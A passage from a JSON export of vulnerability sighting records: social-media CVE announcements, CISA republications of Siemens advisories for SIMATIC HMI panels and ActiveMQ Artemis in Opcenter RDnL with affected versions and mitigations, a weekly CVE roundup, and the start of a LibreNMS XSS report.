"CVE-2026-27662", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mlnn65y3oa2z", "content": "\ud83d\udfe0 CVE-2026-27662 - High (7.7)\n\nAffected devices do not properly restrict access to the web browser via the Control Panel when no...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-27662/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-12T11:01:17.858344Z"}, {"uuid": "f1eee71c-4aa0-4a78-8219-8a5b9355e216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27662", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlnpbgca5h2r", "content": "CVE-2026-27662 - Microsoft Windows Unauthenticated Web Browser Access\nCVE ID : CVE-2026-27662\n \n Published : May 12, 2026, 10:16 a.m. | 36\u00a0minutes ago\n \n Description : Affected devices do not properly restrict access to the web browser via the Control Panel when no correspondi...", "creation_timestamp": "2026-05-12T11:38:54.162750Z"}, {"uuid": "497bd99c-47de-42f8-8ae9-dc0e1b4f910d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27682", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlnybnopq22h", "content": "\ud83d\udd17 CVE : CVE-2025-68161, CVE-2026-0502, CVE-2026-27682, CVE-2026-34258, CVE-2026-34259, CVE-2026-34260, CVE-2026-34263, CVE-2026-40129, CVE-2026-40131, CVE-2026-40132, CVE-2026-40133, CVE-2026-40134, CVE-2026-40135, CVE-2026-40136, CVE-2026-40137", "creation_timestamp": "2026-05-12T14:20:27.867530Z"}, {"uuid": "41fed6f1-60c3-402f-ad3b-31238c58f1a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27682", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlnykldwtg2c", "content": "\ud83d\udd17 CVE : CVE-2025-68161, CVE-2026-0502, CVE-2026-27682, CVE-2026-34258, CVE-2026-34259, CVE-2026-34260, CVE-2026-34263, CVE-2026-40129, CVE-2026-40131, CVE-2026-40132, CVE-2026-40133, CVE-2026-40134, CVE-2026-40135, CVE-2026-40136, CVE-2026-40137", "creation_timestamp": "2026-05-12T14:25:05.662873Z"}, {"uuid": "4cb9ac49-af63-4863-9d1f-e184034c8d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27851", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlo4e7danp2e", "content": "CVE-2026-27851 - Apache Struts Unvalidated User Input Injection\nCVE ID : CVE-2026-27851\n \n Published : May 12, 2026, 2:16 p.m. | 13\u00a0minutes ago\n \n Description : When safe filter is used with variable expansion, all following pipelines on the same string are incorrectly interpr...", "creation_timestamp": "2026-05-12T15:33:29.736483Z"}, {"uuid": "c8b1a0cc-f405-42fa-9f2a-54a589b33439", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27662", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-134-07", "content": "View CSAF\n\nSummary\n\nSIMATIC HMI Unified Comfort Panels before V21.0 are affected by a vulnerability that allows an unauthenticated attacker to access the web browser via the help link. This vulnerability allows an attacker to access the web browser through the Control Panel if it is not protected by the corresponding security mechanisms. This opens the possibility for the attacker to find backdoors, which might lead to unwanted misconfigurations. Siemens has released new versions for the affected products and recommends to update to the latest versions.\n\nThe following versions of Siemens SIMATIC are affected:\n\n\n\nSIMATIC HMI MTP1000 Unified Comfort Panel (6AV2128-3KB06-0AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1000 Unified Comfort Panel hygienic (6AV2128-3KB40-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1000 Unified Comfort Panel hygienic neutral design (6AV2128-3KB70-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1000, Unified Comfort Panel neutral (6AV2128-3KB36-0AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1200 Comfort Pro for stand (expandable, flange at the bottom) (6AV2128-3MB27-1BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1200 Comfort Pro for support arm (expandable, round tube) and extension unit (6AV2128-3MB27-0BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1200 Comfort Pro for support arm (not extendable, flange on top) (6AV2128-3MB27-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1200 Comfort Pro neutral design for stand (expandable, flange at the bottom) (6AV2128-3MB57-1BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1200 Comfort Pro neutral design for support arm (expandable, round tube) and extensio (6AV2128-3MB57-0BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1200 Comfort Pro neutral design for support arm (not extendable, flange on top) (6AV2128-3MB57-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1200 Unified Comfort Panel (6AV2128-3MB06-0AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1200 Unified Comfort Panel hygienic (6AV2128-3MB40-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1200 Unified Comfort Panel hygienic neutral design (6AV2128-3MB70-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1200 Unified Comfort Panel neutral design (6AV2128-3MB36-0AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1500 Comfort Pro for stand (expandable, flange at the bottom) (6AV2128-3QB27-1BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1500 Comfort Pro for support arm (expandable, round tube) and extension unit (6AV2128-3QB27-0BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1500 Comfort Pro for support arm (not extendable, flange on top) (6AV2128-3QB27-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1500 Comfort Pro neutral design for stand (expandable, flange at the bottom) (6AV2128-3QB57-1BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1500 Comfort Pro neutral design for support arm (expandable, round tube) and extensio (6AV2128-3QB57-0BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1500 Comfort Pro neutral design for support arm (not extendable, flange on top) (6AV2128-3QB57-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1500 Unified Comfort Panel (6AV2128-3QB06-0AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1500 Unified Comfort Panel hygienic (6AV2128-3QB40-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1500 Unified Comfort Panel hygienic neutral design (6AV2128-3QB70-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1500 Unified Comfort Panel neutral design (6AV2128-3QB36-0AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1900 Comfort Pro for stand (expandable, flange at the bottom) (6AV2128-3UB27-1BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1900 Comfort Pro for support arm (expandable, round tube) and extension unit (6AV2128-3UB27-0BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1900 Comfort Pro for support arm (not extendable, flange on top) (6AV2128-3UB27-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1900 Comfort Pro neutral design for stand (expandable, flange at the bottom) (6AV2128-3UB57-1BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1900 Comfort Pro neutral design for support arm (expandable, round tube) and extensio (6AV2128-3UB57-0BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1900 Comfort Pro neutral design for support arm (not extendable, flange on top) (6AV2128-3UB57-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1900 Unified Comfort Panel (6AV2128-3UB06-0AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1900 Unified Comfort Panel hygienic (6AV2128-3UB40-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1900 Unified Comfort Panel hygienic neutral design (6AV2128-3UB70-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP1900 Unified Comfort Panel neutral design (6AV2128-3UB36-0AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP2200 Comfort Pro for stand (expandable, flange at the bottom) (6AV2128-3XB27-1BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP2200 Comfort Pro for support arm (expandable, round tube) and extension unit (6AV2128-3XB27-0BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP2200 Comfort Pro for support arm (not extendable, flange on top) (6AV2128-3XB27-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP2200 Comfort Pro neutral design for stand (expandable, flange at the bottom) (6AV2128-3XB57-1BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP2200 Comfort Pro neutral design for support arm (expandable, round tube) and extensio (6AV2128-3XB57-0BX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP2200 Comfort Pro neutral design for support arm (not extendable, flange on top) (6AV2128-3XB57-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP2200 Unified Comfort Hygienic (6AV2128-3XB40-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP2200 Unified Comfort Hygienic neutral design (6AV2128-3XB70-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP2200 Unified Comfort Panel (6AV2128-3XB06-0AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP2200 Unified Comfort Panel neutral design (6AV2128-3XB36-0AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP700 Unified Comfort Panel (6AV2128-3GB06-0AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP700 Unified Comfort Panel hygienic neutral design (6AV2128-3GB40-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP700 Unified Comfort Panel hygienic neutral design (6AV2128-3GB70-0AX0) vers:intdot/<21 (CVE-2026-27662)\n\nSIMATIC HMI MTP700, Unified Comfort Panel neutral design (6AV2128-3GB36-0AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIPLUS HMI MTP1000 Unified Comfort (6AG1128-3KB06-4AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIPLUS HMI MTP1200 Unified Comfort (6AG1128-3MB06-4AX1) vers:intdot/<21 (CVE-2026-27662)\n\nSIPLUS HMI MTP700 Unified Comfort (6AG1128-3GB06-4AX1) vers:intdot/<21 (CVE-2026-27662)\n\n<div class=\"csaf-table\">\n\n\n\n\nCVSS\nVendor\nEquipment\nVulnerabilities\n\n\n\n\nv3 7.7\nSiemens\nSiemens SIMATIC\nInitialization of a Resource with an Insecure Default\n\n\n\n</div>\n\nBackground\n\n\n\nCritical Infrastructure Sectors: Critical Manufacturing\n\nCountries/Areas Deployed: Worldwide\n\nCompany Headquarters Location: Germany\n\n\n\n\nVulnerabilities\n<div class=\"csaf-accordion\">\n\nExpand All +\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-27662\n<div class=\"csaf-accordion-content\">\n\nAffected devices do not properly restrict access to the web browser via the Control Panel when no corresponding security mechanisms are in place. This could allow an unauthenticated attacker to gain unauthorized access to the web browser, potentially enabling the discovery of backdoors, performing unauthorized actions, or exploiting misconfigurations that may lead to further system compromise.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC HMI MTP1000 Unified Comfort Panel (6AV2128-3KB06-0AX1), SIMATIC HMI MTP1000 Unified Comfort Panel hygienic (6AV2128-3KB40-0AX0), SIMATIC HMI MTP1000 Unified Comfort Panel hygienic neutral design (6AV2128-3KB70-0AX0), SIMATIC HMI MTP1000, Unified Comfort Panel neutral (6AV2128-3KB36-0AX1), SIMATIC HMI MTP1200 Comfort Pro for stand (expandable, flange at the bottom) (6AV2128-3MB27-1BX0), SIMATIC HMI MTP1200 Comfort Pro for support arm (expandable, round tube) and extension unit (6AV2128-3MB27-0BX0), SIMATIC HMI MTP1200 Comfort Pro for support arm (not extendable, flange on top) (6AV2128-3MB27-0AX0), SIMATIC HMI MTP1200 Comfort Pro neutral design for stand (expandable, flange at the bottom) (6AV2128-3MB57-1BX0), SIMATIC HMI MTP1200 Comfort Pro neutral design for support arm (expandable, round tube) and extensio (6AV2128-3MB57-0BX0), SIMATIC HMI MTP1200 Comfort Pro neutral design for support arm (not extendable, flange on top) (6AV2128-3MB57-0AX0), SIMATIC HMI MTP1200 Unified Comfort Panel (6AV2128-3MB06-0AX1), SIMATIC HMI MTP1200 Unified Comfort Panel hygienic (6AV2128-3MB40-0AX0), SIMATIC HMI MTP1200 Unified Comfort Panel hygienic neutral design (6AV2128-3MB70-0AX0), SIMATIC HMI MTP1200 Unified Comfort Panel neutral design (6AV2128-3MB36-0AX1), SIMATIC HMI MTP1500 Comfort Pro for stand (expandable, flange at the bottom) (6AV2128-3QB27-1BX0), SIMATIC HMI MTP1500 Comfort Pro for support arm (expandable, round tube) and extension unit (6AV2128-3QB27-0BX0), SIMATIC HMI MTP1500 Comfort Pro for support arm (not extendable, flange on top) (6AV2128-3QB27-0AX0), SIMATIC HMI MTP1500 Comfort Pro neutral design for stand (expandable, flange at the bottom) (6AV2128-3QB57-1BX0), SIMATIC HMI MTP1500 Comfort Pro neutral design for support arm (expandable, round tube) and extensio (6AV2128-3QB57-0BX0), SIMATIC HMI MTP1500 Comfort Pro neutral design for support arm (not extendable, flange on top) (6AV2128-3QB57-0AX0), SIMATIC HMI MTP1500 Unified Comfort Panel (6AV2128-3QB06-0AX1), SIMATIC HMI MTP1500 Unified Comfort Panel hygienic (6AV2128-3QB40-0AX0), SIMATIC HMI MTP1500 Unified Comfort Panel hygienic neutral design (6AV2128-3QB70-0AX0), SIMATIC HMI MTP1500 Unified Comfort Panel neutral design (6AV2128-3QB36-0AX1), SIMATIC HMI MTP1900 Comfort Pro for stand (expandable, flange at the bottom) (6AV2128-3UB27-1BX0), SIMATIC HMI MTP1900 Comfort Pro for support arm (expandable, round tube) and extension unit (6AV2128-3UB27-0BX0), SIMATIC HMI MTP1900 Comfort Pro for support arm (not extendable, flange on top) (6AV2128-3UB27-0AX0), SIMATIC HMI MTP1900 Comfort Pro neutral design for stand (expandable, flange at the bottom) (6AV2128-3UB57-1BX0), SIMATIC HMI MTP1900 Comfort Pro neutral design for support arm (expandable, round tube) and extensio (6AV2128-3UB57-0BX0), SIMATIC HMI MTP1900 Comfort Pro neutral design for support arm (not extendable, flange on top) (6AV2128-3UB57-0AX0), SIMATIC HMI MTP1900 Unified Comfort Panel (6AV2128-3UB06-0AX1), SIMATIC HMI MTP1900 Unified Comfort Panel hygienic (6AV2128-3UB40-0AX0), SIMATIC HMI MTP1900 Unified Comfort Panel hygienic neutral design (6AV2128-3UB70-0AX0), SIMATIC HMI MTP1900 Unified Comfort Panel neutral design (6AV2128-3UB36-0AX1), SIMATIC HMI MTP2200 Comfort Pro for stand (expandable, flange at the bottom) (6AV2128-3XB27-1BX0), SIMATIC HMI MTP2200 Comfort Pro for support arm (expandable, round tube) and extension unit (6AV2128-3XB27-0BX0), SIMATIC HMI MTP2200 Comfort Pro for support arm (not extendable, flange on top) (6AV2128-3XB27-0AX0), SIMATIC HMI MTP2200 Comfort Pro neutral design for stand (expandable, flange at the bottom) (6AV2128-3XB57-1BX0), SIMATIC HMI MTP2200 Comfort Pro neutral design for support arm (expandable, round tube) and extensio (6AV2128-3XB57-0BX0), SIMATIC HMI MTP2200 Comfort Pro neutral design for support arm (not extendable, flange on top) (6AV2128-3XB57-0AX0), SIMATIC HMI MTP2200 Unified Comfort Hygienic (6AV2128-3XB40-0AX0), SIMATIC HMI MTP2200 Unified Comfort Hygienic neutral design (6AV2128-3XB70-0AX0), SIMATIC HMI MTP2200 Unified Comfort Panel (6AV2128-3XB06-0AX1), SIMATIC HMI MTP2200 Unified Comfort Panel neutral design (6AV2128-3XB36-0AX1), SIMATIC HMI MTP700 Unified Comfort Panel (6AV2128-3GB06-0AX1), SIMATIC HMI MTP700 Unified Comfort Panel hygienic neutral design (6AV2128-3GB40-0AX0), SIMATIC HMI MTP700 Unified Comfort Panel hygienic neutral design (6AV2128-3GB70-0AX0), SIMATIC HMI MTP700, Unified Comfort Panel neutral design (6AV2128-3GB36-0AX1), SIPLUS HMI MTP1000 Unified Comfort (6AG1128-3KB06-4AX1), SIPLUS HMI MTP1200 Unified Comfort (6AG1128-3MB06-4AX1), SIPLUS HMI MTP700 Unified Comfort (6AG1128-3GB06-4AX1)</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nMitigationCompliance with the security guidelines is strongly recommended (specially chapter \u201c3.2 Ending HMI runtime\u201d, \u201c3.4.1 Enable access protection for the Control Panel\u201d and \u201c3.4.2 Changing runtime autostart) https://support.industry.siemens.com/cs/ww/en/view/109481300\n\nMitigationDisable the taskbar which can be configured in the Control Panel > System Properties > Taskbar.\n\nVendor fixUpdate to V21 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109825605/\n</div>\n\nRelevant CWE: CWE-1188 Initialization of a Resource with an Insecure Default\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.7\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n</div>\n\n\n\nAcknowledgments\n\n\n\nSiemens ProductCERT reported this vulnerability to CISA.\n\n\n\n\nGeneral Recommendations\n\nAs a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity\n\n\n\nAdditional Resources\n\nFor further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories\n\n\n\nTerms of Use\n\nThe use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.\n\n\n\nLegal Notice and Terms of Use\n\nThis product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).\n\n\n\nRecommended Practices\n\nCISA recommends users take defensive measures to minimize the exploitation risk of these vulnerabilities.\n\nMinimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.\n\nLocate control system networks and remote devices behind firewalls and isolate them from business networks.\n\nWhen remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nCISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\n\n\nAdvisory Conversion Disclaimer\n\nThis ICSA is a verbatim republication of Siemens ProductCERT SSA-387223 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided \"as-is\" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.\n\nRevision History\n\n\n\nInitial Release Date: 2026-05-12\n\n\n\n\n\nDate\nRevision\nSummary\n\n\n\n\n2026-05-12\n1\nPublication Date\n\n\n2026-05-14\n2\nInitial CISA Republication of Siemens ProductCERT SSA-387223 advisory\n\n\n\n\n\n\nLegal Notice and Terms of Use", "creation_timestamp": "2026-05-14T10:00:00.000000Z"}, {"uuid": "4c636aee-08b2-4b00-ac72-5ebdaa9fdbd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27446", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-134-09", "content": "View CSAF\n\nSummary\n\nOpcenter RDnL is affected by missing authentication in critical function in \u2018ActiveMQ Artemis\u2019. An unauthenticated attacker within the adjacent network could use the Core protocol to force a target broker to establish an outbound Core federation connection to an attacker-controlled rogue broker. This could potentially result in availability impacts or message injection into any queue via the rogue broker. Breaking the integrity of a message has a low impact due to missing auto refresh functionality and it does not contain any confidential information. ActiveMQ Artemis has released a new version and Siemens recommends to update to the latest version.\n\nThe following versions of Siemens Opcenter RDnL are affected:\n\n\n\nOpcenter RDnL vers:all/*\n\n<div class=\"csaf-table\">\n\n\n\n\nCVSS\nVendor\nEquipment\nVulnerabilities\n\n\n\n\nv3 7.1\nSiemens\nSiemens Opcenter RDnL\nMissing Authentication for Critical Function\n\n\n\n</div>\n\nBackground\n\n\n\nCritical Infrastructure Sectors: Critical Manufacturing\n\nCountries/Areas Deployed: Worldwide\n\nCompany Headquarters Location: Germany\n\n\n\n\nVulnerabilities\n<div class=\"csaf-accordion\">\n\nExpand All +\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-27446\n<div class=\"csaf-accordion-content\">\n\nMissing Authentication for Critical Function (CWE-306) vulnerability in Apache Artemis, Apache ActiveMQ Artemis. An unauthenticated remote attacker can use the Core protocol to force a target broker to establish an outbound Core federation connection to an attacker-controlled rogue broker. This could potentially result in message injection into any queue and/or message exfiltration from any queue via the rogue broker. This impacts environments that allow both: - incoming Core protocol connections from untrusted sources to the broker - outgoing Core protocol connections from the broker to untrusted targets\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Opcenter RDnL\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:Opcenter RDnL</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nMitigationImplement and deploy a Core interceptor to deny all Core downstream federation connect packets. Such packets have a type of (int) -16 or (byte) 0xfffffff0. Documentation for interceptors is available at  https://artemis.apache.org/components/artemis/documentation/latest/intercepting-operations.html .\n\nMitigationRemove Core protocol support from any acceptor receiving connections from untrusted sources. Incoming Core protocol connections are supported by default via the \"artemis\" acceptor listening on port 61616. See the \"protocols\" URL parameter configured for the acceptor. An acceptor URL without this parameter supports all protocols by default, including Core\n\nMitigationUse two-way SSL (i.e. certificate-based authentication) in order to force every client to present the proper SSL certificate when establishing a connection before any message protocol handshake is attempted. This will prevent unauthenticated exploitation of this vulnerability\n\nVendor fixUpdate to Apache Artemis version 2.52.0 or later version\n</div>\n\nRelevant CWE: CWE-306 Missing Authentication for Critical Function\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n</div>\n\n\n\nAcknowledgments\n\n\n\nSiemens ProductCERT reported this vulnerability to CISA.\n\n\n\n\nGeneral Recommendations\n\nAs a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity\n\n\n\nAdditional Resources\n\nFor further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories\n\n\n\nTerms of Use\n\nThe use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.\n\n\n\nLegal Notice and Terms of Use\n\nThis product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).\n\n\n\nRecommended Practices\n\nCISA recommends users take defensive measures to minimize the exploitation risk of these vulnerabilities.\n\nMinimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.\n\nLocate control system networks and remote devices behind firewalls and isolate them from business networks.\n\nWhen remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nCISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\n\n\nAdvisory Conversion Disclaimer\n\nThis ICSA is a verbatim republication of Siemens ProductCERT SSA-085541 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided \"as-is\" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.\n\nRevision History\n\n\n\nInitial Release Date: 2026-05-12\n\n\n\n\n\nDate\nRevision\nSummary\n\n\n\n\n2026-05-12\n1\nPublication Date\n\n\n2026-05-14\n2\nInitial CISA Republication of Siemens ProductCERT SSA-085541 advisory\n\n\n\n\n\n\nLegal Notice and Terms of Use", "creation_timestamp": "2026-05-14T10:00:00.000000Z"}, {"uuid": "38f372d0-34de-42b8-840d-b8bc67f835e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27970", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-29T20:00:19.274674Z"}, {"uuid": "1e549cd8-1cf8-44de-87dd-3ec208dfcbbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2728", "type": "seen", "source": "https://gist.github.com/alon710/655cf6dd4f9ab27164c77a1260f54a30", "content": "# CVE-2026-2728: CVE-2026-2728: Authenticated Stored Cross-Site Scripting (XSS) in LibreNMS RANCID Configuration\n\n> **CVSS Score:** 4.8\n> **Published:** 2026-05-18\n> **Full Report:** https://cvereports.com/reports/CVE-2026-2728\n\n## Summary\nLibreNMS 